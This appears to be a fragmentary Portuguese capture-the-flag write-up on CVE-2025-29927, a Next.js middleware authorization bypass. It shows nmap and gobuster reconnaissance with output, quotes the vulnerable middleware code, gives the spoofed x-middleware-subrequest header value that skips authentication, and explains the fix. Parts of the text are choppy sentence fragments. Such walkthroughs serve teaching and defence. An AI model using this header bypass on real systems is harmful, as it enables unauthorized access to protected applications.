
Desafio Capture the Flag: CVE-2025-29927 em combinação com uma vulnerabilidade de injeção de comandos
— — —
kali@kali:~$ nmap <TARGET_IP>
kali@kali:~$ nmap -sC -sV <TARGET_IP> -p <TARGET_PORTS>
— — —
kali@kali:~$ gobuster dir -u http://<TARGET_IP>:<TARGET_PORT>/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
api (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
apis (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
cgi-bin/ (Status: 308) [Size: 8] [--> /cgi-bin]
dashboard (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdashboard]
favicon.ico (Status: 200) [Size: 25931]
login (Status: 200) [Size: 6252]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================
/dashboard redireciona para /login. Você consegue encontrar alguma informação na página de login que permita contornar o redirecionamento?
— — —
x-middleware-subrequest. O Next.js usa este cabeçalho internamente para evitar loops infinitos de middleware. Quando uma requisição é processada, a função runMiddleware verifica os cabeçalhos da requisição:
x-middleware-subrequest estiver presente
const subreq = params.request.headers["x-middleware-subrequest"];
const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
if (subrequests.includes(middlewareInfo.name)) {
result = {
response: NextResponse.next(),
waitUntil: Promise.resolve(),
}
continue;
}
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Ao usar este cabeçalho, dizemos ao middleware: "Esta já é uma requisição gerada pelo middleware — não execute o middleware novamente."
x-middleware-subrequest de todas as requisições externas recebidas antes da execução do middleware. O cabeçalho é confiável apenas quando é criado dentro do runtime do Next.js durante o encadeamento legítimo de middleware. Concretamente, o valor x-middleware-subrequest agora é validado contra uma string hexadecimal gerada aleatoriamente, garantindo que apenas requisições internas legítimas de sessão passem nas verificações de autorização. Portanto, mesmo que um invasor envie o cabeçalho, o Next.js agora pode distinguir entre uma sub-requisição interna real (que carrega o token hexadecimal correto) e uma falsificada por um invasor externo.
— — —